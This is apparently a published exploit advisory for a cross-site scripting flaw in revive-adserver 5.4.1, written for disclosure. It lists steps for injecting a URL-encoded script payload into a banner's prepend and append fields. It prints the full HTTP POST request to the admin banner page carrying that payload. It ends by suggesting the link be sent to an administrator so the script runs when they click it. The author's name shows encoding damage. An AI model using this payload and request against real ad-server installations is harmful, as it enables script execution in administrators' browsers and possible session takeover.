revive-adserver v5.4.1 Exploit, Cross-Site Scripting (XSS)

Exploit Title: revive-adserver v5.4.1 - Cross-Site Scripting (XSS)
Application: revive-adserver
Version: 5.4.1
Bugs:  XSS
Technology: PHP
Vendor URL: https://www.revive-adserver.com/
Software Link: https://www.revive-adserver.com/download/
Date of found: 31-03-2023
Author: Mirabbas A─čalarov
Tested on: Linux


2. Technical Details & POC
========================================
steps:

1. Go to create banner
2. select the advanced section
3. Write this payload in the prepend and append parameters (%3Cscript%3Ealert%281%29%3C%2Fscript%3E)

POST /www/admin/banner-advanced.php HTTP/1.1
Host: localhost
Content-Length: 213
Cache-Control: max-age=0
sec-ch-ua: "Not?A_Brand";v="8", "Chromium";v="108"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/www/admin/banner-advanced.php?clientid=3&campaignid=2&bannerid=2
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: sessionID=5224583cf474cd32d2ef37171c4d7894
Connection: close

clientid=3&campaignid=2&bannerid=2&token=94c97eabe1ada8e7ae8f204e2ebf7180&prepend=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&append=%3Cscript%3Ealert%281%29%3C%2Fscript%3E&submitbutton=De%C4%9Fi%C5%9Fiklikleri+Kaydet



We are sending this link to the admin. then if admin clicks it will be exposed to xss

http://localhost/www/admin/banner-advanced.php?clientid=3&campaignid=2&bannerid=2

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